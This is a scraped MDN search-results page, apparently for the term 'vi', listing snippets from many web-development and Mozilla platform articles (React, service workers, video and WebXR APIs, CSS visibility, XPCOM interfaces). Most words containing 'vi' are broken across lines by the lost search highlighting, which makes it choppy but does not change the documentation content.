...And 15 more matches
React interactivity: Events and state - Learn web development
pre
vious over
view: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things.
... handling events if you've only written vanilla javascript before now, you might be used to ha
ving a separate javascript file, where you query for some dom nodes and attach listeners to them.
...</button> note: this may seem counter-intuitive regarding best-practice ad
vice that tends to ad
vise against use of inline event handlers on html, but remember that jsx is actually part of your javascript.
...And 15 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
pre
vious over
view: client-side javascript frameworks next as we near the end of our react journey (for now at least), we'll add the finishing touches to the main areas of functionality in our todo list app.
... a ui for editing in order to allow users to edit a task, we have to pro
vide a user interface for them to do so.
...add the following line just inside the top of your todo(props) { … } component definition: const [isediting, setediting] = usestate(false); next, we're going to rethink the <todo /> component — from now on, we want it to display one of two possible “templates", rather than the single template it's used so far: the "
view" template, when we are just
viewing a todo; this is what we’ve used in rest of the tutorial so far.
...And 15 more matches
Client-side tooling overview - Learn web development
over
view: understanding client-side tools next in this article we pro
vide an over
view of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with indi
vidual tools.
... over
view of modern tooling writing software for the web has become more sophisticated through the ages.
... in these articles, we won’t answer every question about web tooling, but we will pro
vide you with a useful starting point of understanding the fundamentals, which you can then build from.
...And 15 more matches
ServiceWorkerContainer.register() - Web APIs
the register() method of the ser
viceworkercontainer interface creates or updates a ser
viceworkerregistration for the given scripturl.
... if successful, a ser
vice worker registration ties the pro
vided script url to a scope, which is subsequently used for na
vigation matching.
...since a ser
vice worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default.
...And 15 more matches
XRView.transform - Web APIs
the read-only transform property of the xr
view interface is an xrrigidtransform object which pro
vides the position and orientation of the
viewpoint relative to the xrreferencespace specified when the xrframe.get
viewerpose() method was called to obtain the
view object.
... with the transform, you can then position the
view as a camera within the 3d scene.
... if you instead need the more traditional
view matrix, you can get using
view.transform.inverse.matrix; this gets the underlying matrix of the transform's inverse.
...And 15 more matches
Setting up an extension development environment - Archive of obsolete content
this article pro
vides suggestions for how to set up your mozilla application for extension development.
... over
view you'll create a new user profile to run your development specific firefox session.
... development profile the use of a separate user profile for development can be advantageous, averting performance degradation from development related settings, and further isolating personal data (such as bookmarks, extensions, and settings) from your testing en
vironment.
...And 14 more matches
Visual typescript game engine - Game development
project :
visual typescript game engine version: sunshine - 2019 2d canvas game engine based on matter.js 2d physics engine for the web.
... text editor used and recommended:
visual studio code.
... multiplatform
video chat (for all browsers) implemented.
...And 14 more matches
BloatView
bloat
view is a tool that shows information about cumulative memory usage and leaks.
... how to build with bloat
view build with --enable-debug or --enable-logrefcnt.
... how to run with bloat
view the are two en
vironment variables that can be used.
...And 14 more matches
nsIBrowserSearchService
netwerk/base/public/nsibrowsersearchser
vice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/search-ser
vice;1.
... to access this ser
vice, use: var browsersearchser
vice = components.classes["@mozilla.org/browser/search-ser
vice;1"] .getser
vice(components.interfaces.nsibrowsersearchser
vice); attempting to use any method or attribute of this interface before init() has completed will force the ser
vice to fall back to a slower, synchronous, initialization.
...And 14 more matches
SecurityPolicyViolationEvent - Web APIs
the securitypolicy
violationevent interface inherits from event, and represents the event object of an event sent on a document or worker when its content security policy is
violated.
... constructor securitypolicy
violationevent() creates a new securitypolicy
violationevent object instance.
... properties securitypolicy
violationevent.blockeduriread only a usvstring representing the uri of the resource that was blocked because it
violates a policy.
...And 14 more matches
VideoTrackList - Web APIs
the
videotracklist interface is used to represent a list of the
video tracks contained within a <
video> element, with each track represented by a separate
videotrack object in the list.
... retrieve an instance of this object with htmlmediaelement.
videotracks.
... the indi
vidual tracks can be accessed using array syntax or functions such as foreach() for example.
...And 14 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
web
video text tracks format (webvtt) is a format for displaying timed text tracks (such as subtitles or captions) using the <track> element.
... the primary purpose of webvtt files is to add text overlays to a <
video>.
... inner structure of a webvtt file let's re-examine one of our pre
vious examples, and look at the cue structure in a bit more detail.
...And 14 more matches
visibility - CSS: Cascading Style Sheets
the
visibility css property shows or hides an element without changing the layout of a document.
... to both hide an element and remove it from the document layout, set the display property to none instead of using
visibility.
... syntax /* keyword values */
visibility:
visible;
visibility: hidden;
visibility: collapse; /* global values */
visibility: inherit;
visibility: initial;
visibility: unset; the
visibility property is specified as one of the keyword values listed below.
...And 14 more matches
2D maze game with device orientation - Game development
in this tutorial we’ll go through the process of building an html5 mobile game that uses the de
vice orientation and
vibration apis to enhance the gameplay and is built using the phaser framework.
...the phaser framework pro
vides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.
...the create function holds some basic configuration: we're setting up the scaling and alignment of the canvas, and mo
ving on to the preload state when everything's ready.
...And 13 more matches
Adding phishing protection data providers
phishing protection technology lets firefox help protect users by comparing the urls the user
visits to a list of known scam sites, and presenting a warning to the user when they
visit a site on the list.
... installing a new data pro
vider to install a data pro
vider for phishing protection, it's necessary to set a series of preferences to pro
vide details about the pro
vider.
... each data pro
vider has a unique id number.
...And 13 more matches
Mozilla Web Services Security Model
over
view (this document is being compiled from scattered documentation and source code and most of the information in it has not been verified.
...these restrictions apply to web ser
vices.
... however, web ser
vices can be designed to be accessed from other domains, or even from any domain.
...And 13 more matches
nsICacheService
netwerk/cache/public/nsicacheser
vice.idlscriptable handles
visiting and e
victing entries operations along with the creating of cache sessions and creation of temporary client ids operations for offline caching.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageser
vice instead.
... at the time of writing there is no documentation for nsicachestorageser
vice but comments are available in the source.
...And 13 more matches
nsIWebNavigation
docshell/base/nsiwebna
vigation.idlscriptable defines an interface for na
vigating the web.
... it pro
vides methods and attributes to direct an object to na
vigate to a new location, stop or restart an in process load, or determine where the object has pre
viously gone.
... method over
view void goback void goforward void gotoindex( in long index ) void loaduri(in wstring uri , in unsigned long loadflags , in nsiuri referrer , in nsiinputstream postdata, in nsiinputstream headers) void reload(in unsigned long reloadflags) void stop(in unsigned long stopflags) constants load flags constant value descrip...
...And 13 more matches
Mailnews and Mail code review requirements
this document describes the process for re
viewing patches to the mozilla/mailnews and mozilla/mail directories.
... mailnews and mail re
view rules patches affecting thunderbird user experience or interfaces note: it is recommended that when working on bugs that affect user experience or interfaces, that ui-re
view is obtained at an early stage in the patch development process.
... getting early ui-re
views this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at sa
ving time for the developer and re
viewers.
...And 13 more matches
NavigationPreloadManager - Web APIs
the na
vigationpreloadmanager interface of the the ser
vice worker api pro
vides methods for managing the preloading of resources with a ser
vice worker.
... methods na
vigationpreloadmanager.enable() enables na
vigation preloading and returns a promise that resolves.
... na
vigationpreloadmanager.disable() disables na
vigation preloading and returns a promise that resolves.
...And 13 more matches
ServiceWorker - Web APIs
the ser
viceworker interface of the ser
viceworker api pro
vides a reference to a ser
vice worker.
...pages, workers, etc.) can be associated with the same ser
vice worker, each through a unique ser
viceworker object.
... a ser
viceworker object is available in the ser
viceworkerregistration.active property, and the ser
viceworkercontainer.controller property — this is a ser
vice worker that has been activated and is controlling the page (the ser
vice worker has been successfully registered, and the controlled page has been reloaded.) the ser
viceworker interface is dispatched a set of lifecycle events — install and activate — and functional events including fetch.
...And 13 more matches
ServiceWorkerRegistration.showNotification() - Web APIs
the shownotification() method of the ser
viceworkerregistration interface creates a notification on an active ser
vice worker.
... syntax ser
viceworkerregistration.shownotification(title, [options]); parameters title the title that must be shown within the notification options optional an object that allows configuring the notification.
...on android de
vices, the badge should accommodate de
vices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked.
...And 13 more matches
@viewport - CSS: Cascading Style Sheets
note: see https://github.com/w3c/csswg-drafts/issues/4766 for discussion around @
viewport's removal from the standards track.
... the @
viewport css at-rule lets you configure the
viewport through which the document is
viewed.
... it's primarily used for mobile de
vices, but is also used by desktop browsers that support features like "snap to edge" (such as microsoft edge).
...And 13 more matches
Live streaming web audio and video - Developer guides
often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and de
vices.
... streaming audio and
video on demand streaming technology is not used exclusively for live streams.
... it can also be used instead of the traditional progressive download method for audio and
video on demand: there are several advantages to this: latency is generally lower so media will start playing more quickly adaptive streaming makes for better experiences on a variety of de
vices media is downloaded just in time which makes bandwidth usage more efficient streaming protocols while static media is usually served over http, there are several protocols for ser
ving adaptive streams; let's take a look at the options.
...And 13 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
the html abbre
viation element (<abbr>) represents an abbre
viation or acronym; the optional title attribute can pro
vide an expansion or description for the abbre
viation.
...the title attribute has a specific semantic meaning when used with the <abbr> element; it must contain a full human-readable description or expansion of the abbre
viation.
... each <abbr> element you use is independent from all others; pro
viding a title for one does not automatically attach the same expansion text to others with the same content text.
...And 13 more matches
An overview of HTTP - HTTP
a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images,
videos, scripts, and more.
... clients and servers communicate by exchanging indi
vidual messages (as opposed to a stream of data).
...due to its extensibility, it is used to not only fetch hypertext documents, but also images and
videos or to post content to servers, like with html form results.
...And 13 more matches
WebVR — Virtual Reality for the Web - Game development
the concept of
virtual reality in itself isn't new, but now we have the technology to have it working as it should be, and a javascript api to make use of it in web applications.
... vr de
vices with the popularity of oculus rift and a lot of other de
vices in production coming soon to the market, the future looks bright — we already have sufficient technology to make the vr experience "good enough" for playing games.
... there are many de
vices to chose from: desktop ones like oculus rift or htc
vive, through consoles with playstation vr (which admittedly doesn't support webvr at this time), to mobile experiences like gear vr or google cardboard.
...And 12 more matches
Visual-js game engine - Game development
full name :
visual-js gui for windows multiplatform 2d game engine creator : nikola lukic 2017 2018 open source
visual-js project parts : -2d part : this is javascript game engine (server part node.js / client part js) js framework with windows gui editor and game instance creator.
...new link is : https://github.com/zlatnaspirala/
visual-ts-game-engine basic licence rules : 1) each file in this project has its own license , be careful , do not
violate the basic rules.
... 2) you are free to use any version of
visual js library in any other project (even commercial projects) as long as the copyright header is left intact except for plugins on sale and graphics that come with them (they have special commercial licence).
...And 12 more matches
Activity Monitor, Battery Status Menu and top
this article describes the acti
vity monitor, battery status menu, and top — three related tools available on mac os x.
... note: the power profiling over
view is worth reading at this point if you haven't already.
... acti
vity monitor this is a built-in os x tool that shows real-time process measurements.
...And 12 more matches
OVR_multiview2 - Web APIs
the ovr_multi
view2 extension is part of the webgl api and adds support for rendering into multiple
views simultaneously.
... this especially useful for
virtual reality (vr) and webxr.
... for more information, see also: multi
view on webxr three.js multi
view demo multi
view in babylon.js optimizing
virtual reality: understanding multi
view multi
view webgl rendering for oculus browser 6.0+ webgl extensions are available using the webglrenderingcontext.getextension() method.
...And 12 more matches
WebGLRenderingContext.viewport() - Web APIs
the webglrenderingcontext.
viewport() method of the webgl api sets the
viewport, which specifies the affine transformation of x and y from normalized de
vice coordinates to window coordinates.
... syntax void gl.
viewport(x, y, width, height); parameters x a glint specifying the horizontal coordinate for the lower left corner of the
viewport origin.
... y a glint specifying the vertical coordinate for the lower left corner of the
viewport origin.
...And 12 more matches
Responsive Navigation Patterns - Progressive web apps (PWAs)
need some help designing your app's na
vigation?
...the following present several ways to handle na
vigation on large and small screens.
... top and left na
vigation menus are common on larger screens, but are often not the optimal way to present information on small screens because of the reduced screen real estate.
...And 12 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
pre
vious over
view: client-side javascript frameworks next now it's time to start tackling the footer functionality in our app.
... connecting the beha
vior in the footer to get the footer working, we need to implement the following thre areas of functionality: a pending todo counter.
... because we need access to our ser
vice from the footer component, we need to generate a class for the footer.
...And 11 more matches
Reviewer Checklist
this article pro
vides a list of best practices for your patch content that re
viewers will check for or require.
... following these best practices will lead to a smoother, more rapid process of re
view and acceptance.
...commonly this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and re
view".
...And 11 more matches
nsIContentView
content/base/public/nsiframeloader.idlscriptable represents a scrollable content
view whose contents are actually drawn by a separate process; this is part of the electrolysis multi-process support framework.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) see working with content
views for details on how to use this api.
... note: currently, only <frame> and <iframe> elements are handled as content
views.
...And 11 more matches
nsITaskbarTabPreview
widget/public/nsitaskbartabpre
view.idlscriptable this interface is used on microsoft windows to control tab pre
view specific beha
vior.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpre
view last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab pre
view support is disabled by default in gecko 1.9.2 creating an nsitaskbartabpre
view for a window will automatically hide that window's nsitaskbarwindowpre
view; this is done by windows and cannot be prevented.
... when there are no more tab pre
views left for a window, the window pre
view is automatically made
visible again.
...And 11 more matches
View Source - Firefox Developer Tools
view source lets you look at the html or xml source for the page you're
viewing.
... to activate
view source: context-click in the page and select
view page source press ctrl + u on windows and linux, or cmd + u on macos the command opens a new tab with the source for the current page.
...
view source features
view source has three additional features, which can be accessed from the context menu in the
view source tab: go to line scrolls to the specified line.
...And 11 more matches
DisplayMediaStreamConstraints.video - Web APIs
the displaymediastreamconstraints dictionary's
video property is used to configure the
video track in the stream returned by getdisplaymedia().
... this value may simply be a boolean, where true specifies that a default selection of input source be made (typically the entire display area of the de
vice in use, spanning every screen in a multiple screen configuration).
... since a
video track must always be included, a value of false results in a typeerror exception being thrown.
...And 11 more matches
NavigatorID - Web APIs
the na
vigatorid interface contains methods and properties related to the identity of the browser.
... there is no object of type na
vigatorid, but other interfaces, like na
vigator or workerna
vigator, implement it.
... properties the na
vigatorid interface doesn't inherit any properties.
...And 11 more matches
Window.devicePixelRatio - Web APIs
the de
vicepixelratio of window interface returns the ratio of the resolution in physical pixels to the resolution in css pixels for the current display de
vice.
... you can use window.matchmedia() to check if the value of de
vicepixelratio changes (which can happen, for example, if the user drags the window to a display with a different pixel density).
... syntax value = window.de
vicepixelratio; value a double-precision floating-point value indicating the ratio of the display's resolution in physical pixels to the resolution in css pixels.
...And 11 more matches
Media type and format guide: image, audio, and video content - Web media technologies
since nearly its beginning, the web has included support for some form of
visual media presentation.
... originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and
video imagery on the web.
... this guide pro
vides an over
view of the media file types, codecs, and algorithms that may comprise media used on the web.
...And 11 more matches
Source Navigator - Archive of obsolete content
;) --kennykaiyinyu 19:04, 10 june 2008 (pdt) what is source-na
vigator?
... (quoted from the internet) source-na
vigator is a source code analysis tool which lets users to edit, browse and build their projects.
...you can also build your projects, either with your own makefile, or by using source-na
vigator's build system to automatically generate a makefile.
...And 10 more matches
TraceVis - Archive of obsolete content
trace
vis is a performance
visualization system for tracemonkey.
... if tracemonkey is built with trace
vis, and run with trace
vis enabled, then tracemonkey will output a log of all its acti
vity transitions.
... the log can be postprocessed into a
visualization that can be used to rapidly diagnose many tracing-related performance issues.
...And 10 more matches
Using Visual Studio as your XUL IDE - Archive of obsolete content
compared to a simple text-editor,
visual studio gives you some special features when writing xul: intellisense / autocompletion for elements and attributes validation syntax coloring (okay, more sophisticated editors like notepad++ pro
vide this as well) before you can use all of this, you have to adjust
visual studio a little.
...using xml schemas for validation and intellisense
visual studio needs the xml schema for xul files.
... there is a very nice schema created by mihailo lale
vic.
...And 10 more matches
mozIStorageService
storage/public/mozistorageser
vice.idlscriptable this interface lets you open a mozistorageconnection to a database file, as well as create backups of an unopened database file.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) see mozistorageconnection method over
view nsifile backupdatabasefile(in nsifile adbfile, in astring abackupfilename, [optional] in nsifile abackupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); methods backupdatabasefile() this method makes a backup of the specified file.
... the database should not be open, or you should ensure that no database acti
vity is happening when you call this method.
...And 10 more matches
nsIDirectoryService
xpcom/io/nsidirectoryser
vice.idlscriptable this interface pro
vides methods to initialize and configure a directory ser
vice instance.
... the xpcom directory ser
vice implements this interface to pro
vide support for a variety of well-known file and directory locations.
... inherits from: nsisupports last changed in gecko 1.7 method over
view void init(); void registerpro
vider(in nsidirectoryser
vicepro
vider prov); void unregisterpro
vider(in nsidirectoryser
vicepro
vider prov); init() initializes the nsidirectoryser
vice instance.
...And 10 more matches
nsIPromptService
embedding/components/windowwatcher/public/nsipromptser
vice.idlscriptable this interface can be used to display simple dialogs.
... its methods should be used in pri
vileged code instead of dom window.alert, window.confirm, and other similar functions.
...implemented by: @mozilla.org/embedcomp/prompt-ser
vice;1.
...And 10 more matches
DB Views (message lists)
the thread pane (aka message list) is driven by classes that implement nsimsgdb
view and inherit from nsmsgdb
view.
... these are the main
view classes: nsmsgthreadeddb
view - (implementation) nsmsgsearchdb
view - (implementation) nsmsgquicksearchdb
view - (implementation) nsmsgxf
virtualfolderdb
view - (implementation) nsmsggroup
view - (implementation) usually, a
view object has parallel arrays, which map directly to lines in the message list: m_keys message header key m_flags 32 bits, combination of message header flags and
view-only flags (e.g., collapsed) m_level the indentation level when in threaded mode.
... m_folders cross-folder
views only (nsmsgsearchdb
view and its descendant, nsmsgxf
virtualfolderdb
view) most of the time, the thread pane is driven by an nsmsgthreadeddb
view object (even when we're in a flat sort).
...And 10 more matches
MediaDeviceInfo - Web APIs
the mediade
viceinfo interface contains information that describes a single media input or output de
vice.
... the list of de
vices obtained by calling na
vigator.mediade
vices.enumeratede
vices() is an array of mediade
viceinfo objects, one per media de
vice.
... properties mediade
viceinfo.de
viceidread only returns a domstring that is an identifier for the represented de
vice that is persisted across sessions.
...And 10 more matches
Using Navigation Timing - Web APIs
the na
vigation timing api lets you easily obtain detailed and highly accurate timing information to help isolate performance problems with your site's code or resources.
... unlike other tools or libraries, the na
vigation timing api lets you gather information that only the browser can pro
vide at a level of accuracy much improved over other techniques.
... it also offers the advantage of being able to pro
vide timing information as perceived by the user rather than data that has no correlation to what the user experiences.
...And 10 more matches
Navigation Timing API - Web APIs
the na
vigation timing api pro
vides data that can be used to measure the performance of a web site.
... unlike javascript-based libraries that have historically been used to collect similar information, the na
vigation timing api can be much more accurate and reliable.
... this article currently describes na
vigation timing level 1.
...And 10 more matches
Vibration API - Web APIs
most modern mobile de
vices include
vibration hardware, which lets software code pro
vide physical feedback to the user by causing the de
vice to shake.
... the
vibration api offers web apps the ability to access this hardware, if it exists, and does nothing if the de
vice doesn't support it.
... describing
vibrations
vibration is described as a pattern of on-off pulses, which may be of varying lengths.
...And 10 more matches
VideoTrack.kind - Web APIs
the kind property contains a string indicating the category of
video contained in the
videotrack.
...see
video track kind strings for a list of the kinds available for
video tracks.
... syntax var trackkind =
videotrack.kind; value a domstring specifying the type of content the media represents.
...And 10 more matches
VideoTrack - Web APIs
the
videotrack interface represents a single
video track from a <
video> element.
... the most common use for accessing a
videotrack object is to toggle its selected property in order to make it the active
video track for its <
video> element.
... properties selected a boolean value which controls whether or not the
video track is active.
...And 10 more matches
XRSession.environmentBlendMode - Web APIs
the xrsession interface's read-only en
vironmentblendmode property identifies if—and to what degree—the computer-generated imagery is overlaid atop the real world.
... the value is a domstring which contains one of the values defined by the xren
vironmentblendmode enumerated type.
... important: en
vironmentblendmode is part of the webxr augmented reality module, which has not yet reached a stable state.
...And 10 more matches
:focus-visible - CSS: Cascading Style Sheets
the :focus-
visible pseudo-class applies while an element matches the :focus pseudo-class and the ua (user agent) determines
via heuristics that the focus should be made e
vident on the element.
... (many browsers show a “focus ring” by default in this case.) this selector is useful to pro
vide a different focus indicator based on the user’s input modality (mouse vs.
... syntax :focus-
visible examples basic example in this example, the :focus-
visible selector uses the ua's beha
vior to determine when to match.
...And 10 more matches
overscroll-behavior - CSS: Cascading Style Sheets
the overscroll-beha
vior css property sets what a browser does when reaching the boundary of a scrolling area.
... it's a shorthand for overscroll-beha
vior-x and overscroll-beha
vior-y.
... /* keyword values */ overscroll-beha
vior: auto; /* default */ overscroll-beha
vior: contain; overscroll-beha
vior: none; /* two values */ overscroll-beha
vior: auto contain; /* global values */ overscroll-beha
vior: inherit; overscroll-beha
vior: initial; overscroll-beha
vior: unset; by default, mobile browsers tend to pro
vide a "bounce" effect or even a page refresh when the top or bottom of a page (or other scroll area) is reached.
...And 10 more matches
viewBox - SVG: Scalable Vector Graphics
the
viewbox attribute defines the position and dimension, in user space, of an svg
viewport.
... the value of the
viewbox attribute is a list of four numbers: min-x, min-y, width and height.
... the numbers separated by whitespace and/or a comma, which specify a rectangle in user space which is mapped to the bounds of the
viewport established for the associated svg element (not the browser
viewport).
...And 10 more matches
visibility - SVG: Scalable Vector Graphics
the
visibility attribute lets you control the
visibility of graphical elements.
... with a value of hidden or collapse the current graphics element is in
visible.
... note: if the
visibility attribute is set to hidden on a text element, then the text is in
visible but still takes up space in text layout calculations.
...And 10 more matches
Using the Stylesheet Service - Archive of obsolete content
the stylesheet ser
vice allows extensions to manage user and ua stylesheets without ha
ving to touch usercontent.css or userchrome.css files.
... the api is defined in nsistylesheetser
vice.idl.
... getting such styles wrong can easily lead to very incorrect beha
vior, including crashes.
...And 9 more matches
Tiles and tilemaps overview - Game development
visual grid: includes indices showing what type of tile should be placed on each position in the grid.
... note: for the
visual grid, a special value (usually a negative number, 0 or null) is needed to represent empty tiles.
...square tiles allow for two perspectives: top-down (like many rpg's or strategy games like warcraft 2 or final fantasy's world
view.) side-
view (like platformers such as super mario bros.) static tilemaps a tilemap can either fit into the
visible screen area screen or be larger.
...And 9 more matches
Application cache implementation overview
all top level document loading (na
vigation) channels are set chooseapplicationcache flag, which happens in nsdocshell::douriload().
... channels ha
ving that flag set are searching for nsiapplicationcache object prior inspecting normal http cache.
... nsiapplicationcacheser
vice::chooseapplicationcache is given the url the channel is about to load.
...And 9 more matches
Message manager overview
message managers are designed to enable chrome-pri
vileged javascript code in one process to communicate with chrome-pri
vileged javascript code in a different process.
...process scripts are most likely to be useful when an extension wants to run some code only once in the content process, to access some global ser
vice: for example, to register an observer or a content policy.
...start listening to a specific message from all frame scripts removemessagelistener() : stop listening to a specific message interfaces nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster how to access access it using components.classes: // chrome script let globalmm = cc["@mozilla.org/globalmessagemanager;1"] .getser
vice(ci.nsimessagelistenermanager); you can also access it as the mm property of ser
vices.jsm, if you are in the parent process.
...And 9 more matches
Geckoview-Junit Tests
the gecko
view-junit tests are on-de
vice android junit tests written for gecko
view.
... by default, tests are from org.mozilla.gecko
view.test.
... these tests run on an android de
vice, controlled by a host (typically linux) using mozde
vice (adb).
...And 9 more matches
Introduction to Network Security Services
network security ser
vices (nss) is a set of libraries designed to support cross-platform development of communications applications that support ssl, s/mime, and other internet security standards.
... for a general over
view of nss and the standards it supports, see over
view of nss.
... shared libraries network security ser
vices pro
vides both static libraries and shared libraries.
...And 9 more matches
JSS Provider Notes
this page has been moved to http://www.dogtagpki.org/wiki/jss_pro
vider.
... the mozilla-jss jca pro
vider newsgroup: mozilla.dev.tech.crypto over
view this document describes the jca pro
vider shipped with jss.
... the pro
vider's name is "mozilla-jss".
...And 9 more matches
nsIProtocolProxyService
netwerk/base/public/nsiprotocolproxyser
vice.idlscriptable this interface pro
vides methods to access information about various network proxies.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/network/protocol-proxy-ser
vice;1.
... to access the ser
vice use: var pps = components.classes["@mozilla.org/network/protocol-proxy-ser
vice;1"] .getser
vice(components.interfaces.nsiprotocolproxyser
vice); method over
view deprecated since gecko 18 nsiproxyinfo resolve(in nsiuri auri, in unsigned long aflags); nsicancelable asyncresolve(in nsiuri auri, in unsigned long aflags,in nsiprotocolproxycallback acallback); nsiproxyinfo newproxyinfo(in acstring atype, in autf8string ahost,in long aport, in unsigned long aflags, in unsigned long afailovertimeout, in nsiproxyinfo afailoverproxy); nsiproxyinfo getfailoverforproxy(in nsiproxyinfo aproxyinfo, in nsiuri auri, in nsresult areason); void registerfilter(in nsiprotocolproxyfilter afilter, in unsigned long aposition); ...
...And 9 more matches
nsITaskbarPreview
widget/public/nsitaskbarpre
view.idlscriptable this interface is used on microsoft windows as a common interface for both window and tab taskbar pre
views.
...instead, you use nsitaskbartabpre
view or nsitaskbarwindowpre
view as appropriate.
... method over
view void invalidate(); attributes attribute type description active boolean indicates whether or not the pre
view is marked as active (currently selected) in the taskbar.
...And 9 more matches
nsMsgNavigationType
the nsmsgna
vigationtype interface contains constants used for message na
vigation in thunderbird.
... for example to move forward a message, you would call: // assuming gdb
view is a global nsimsgdb
view var resultid = new object(); var resultindex = new object(); var threadindex = new object(); gdb
view.
viewna
vigate(components.interfaces.nsmsgna
vigationtype.nextmessage, resultid, resultindex, threadindex, true); the nsmsgna
vigationtype interface is defined as a global variable in thunderbird: var nsmsg
viewcommandtype = components.interfaces.nsmsg
viewcommandtype; mailnews/base/public/nsimsgdb
view.idlscriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in the
view.
...And 9 more matches
BudgetService - Web APIs
the budgetser
vice interface of the web budget api pro
vides a programmatic interface to the user agent’s budget ser
vice.
... it is available in both document and worker en
vironments.
... methods budgetser
vice.getcost() returns a promise that resolves to a double, indicating the worst-case background operation cost of the pro
vided background operation.
...And 9 more matches
HTMLVideoElement.msZoom - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... mszoom is a read/write property which gets or sets whether the
video frame is trimmed, on the top and bottom or left and right, to fit the
video display.
... syntax html
videoelement.mszoom; value boolean value set to true trims the
video frame to the display space.
...And 9 more matches
MediaStreamConstraints.video - Web APIs
the mediastreamconstraints dictionary's
video property is used to indicate what kind of
video track, if any, should be included in the mediastream returned by a call to getusermedia().
... syntax var
videoconstraints = true | false | mediatrackconstraints; value the value of the
video property can be specified as either of two types: boolean if a boolean value is specified, it simply indicates whether or not a
video track should be included in the returned stream; if it's true, a
video track is included; if no
video source is available or if permission is not given to use the
video source, the call to getusermedia() will fail.
... if false, no
video track is included.
...And 9 more matches
PerformanceNavigation - Web APIs
this interface is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... the legacy performancena
vigation interface represents information about how the na
vigation to the current document was done.
...And 9 more matches
ServiceWorkerMessageEvent - Web APIs
ser
vice worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the ser
viceworkermessageevent interface of the ser
viceworker api contains information about an event sent to a ser
viceworkercontainer target.
... this extends the default message event to allow setting a ser
viceworker object as the source of a message.
...And 9 more matches
USB.requestDevice() - Web APIs
the requestde
vice() method of the usb interface returns a promise that resolves with an instance of usbde
vice if the specified de
vice is found.
... syntax usb.requestde
vice([filters]) parameters filters an array of filter objects for possible de
vices you would like to pair.
... each filter object can have the following properties: vendorid productid classcode subclasscode protocolcode serialnumber return value a promise that resolves with an instance of usbde
vice.
...And 9 more matches
Visual formatting model - CSS: Cascading Style Sheets
in css the
visual formatting model describes how user agents take the document tree, and process and display it for
visual media.
... in the
visual formatting model, each element in the document tree generates zero or more boxes according to the box model.
... external information (e.g.,
viewport size, intrinsic dimensions of images, etc.).
...And 9 more matches
Digital video concepts - Web media technologies
in this article, we explore important concepts that are useful to understand in order to fully grasp how to work with
video on the web.
... encoding color representing the colors in an image or
video requires several values for each pixel.
...there are several color models, and
video codec makes use of one or more of these to represent their pixels during the encoding process as well as after decoding the
video frames.
...And 9 more matches
Visual JS GE - Game development
visual-js gameengine is a small but comprehensive canvas/websocket-based game engine with gui source editor only for windows.
... installation and setup first of all download
visual-js from bitbucket.
... installing modules na
vigate to server_instance/, then in the node.js command prompt or console enter the following installation commands: npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 setting up config.js you will find config.js in the server_instance folder: all node.js applications use the same folder — server_instance.
...And 8 more matches
HTMLIFrameElement.setVisible()
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the set
visible() method of the htmliframeelement is used to change the
visibility state of the browser <iframe>.
... the
visible state of a browser <iframe> has nothing to do with its actual
visibility (which is handled through css).
...And 8 more matches
Mozilla-JSS JCA Provider notes
the mozilla-jss jca pro
vider newsgroup: mozilla.dev.tech.crypto over
view this document describes the jca pro
vider shipped with jss.
... the pro
vider's name is "mozilla-jss".
...contents signed jar file installing the pro
vider specifying the cryptotoken supported classes what's not supported signed jar file jss implements several jce (java cryptography extension) algorithms.
...And 8 more matches
NSS environment variables
note: nss en
vironment variables are subject to be changed and/or removed from nss.
... run-time en
vironment variables these en
vironment variables affect the run time beha
vior of nss shared libraries.
... there is a separate set of en
vironment variables that affect how nss is built, documented below.
...And 8 more matches
nsIAlertsService
toolkit/components/alerts/nsialertsser
vice.idlscriptable this interface can be used to notify the user of something that does not require an immediate reaction.
... note: prior firefox 22, the alerts ser
vice was only supported on windows in gecko 1.7, had no effect on mac os x in gecko 1.8, but was fully supported in mac os x in gecko 1.9.
... note: since gecko 22, the notifications are pro
vided by firefox and have become platform-independent.
...And 8 more matches
nsIContentPrefService
use the asynchronous interface nsicontentprefser
vice2 instead.
... pro
vides a way for extensions and browser code to save preferences for specific websites.
... dom/interfaces/base/nsicontentprefser
vice.idlscriptable please add a summary to this article.
...And 8 more matches
nsIGeolocationProvider
xpcom/system/nsigeolocationpro
vider.idlscriptable notify the geolocation ser
vice that a new geolocation has been discovered.
